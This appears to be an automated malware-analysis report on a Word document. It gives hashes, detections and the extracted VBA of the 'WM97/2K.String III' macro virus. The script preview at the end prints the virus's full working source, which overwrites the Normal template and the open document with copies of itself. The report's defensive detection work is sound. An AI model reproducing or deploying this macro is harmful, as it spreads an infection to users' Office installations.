Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2999ecaa593f4871…

MALICIOUS

Office (OLE)

48.5 KB Created: 2000-08-17 10:38:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 79ee266452813077595a72bef98a9eb7 SHA-1: 7050112ae0f4fc74c43f3fa43b599e8cd022a374 SHA-256: 2999ecaa593f48719f744ea1d04451f05215a201a2d8430214e2e6a038fb84e1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Office document containing VBA macros. The macro code, identified as 'WM97/2K.String III by e[ax]', appears to manipulate its own code within the Normal template and the active document. This self-modification behavior is often used for persistence or to prepare for downloading and executing additional malicious payloads.

Heuristics 2

  • ClamAV: Doc.Trojan.Strings-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Strings-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1241 bytes
SHA-256: 829b8fd5a555fa61d0b7d8e4ea5d821ebf3d6f4be4402438464f09e23d1d48b0
Detection
ClamAV: Doc.Trojan.Strings-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close(): GoTo neutraliziraj: Dim NTmark, ADmark As Boolean
neutraliziraj: Const nula = 0: GoTo string3
string3: Vstring = Strings.LTrim$(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 15))
For a = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines: If a <> 15 Then NTmark = False
For b = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines: If b <> 15 Then ADmark = False
Next: Next
If NTmark = False Then
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines: .InsertLines 1, Vstring
End With: End If
If ADmark = False Then
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines: .InsertLines 1, Vstring
End With: End If 'WM97/2K.String III by e[ax]; Greetz to all ppl on #virus and BiHNet.ORG
End Sub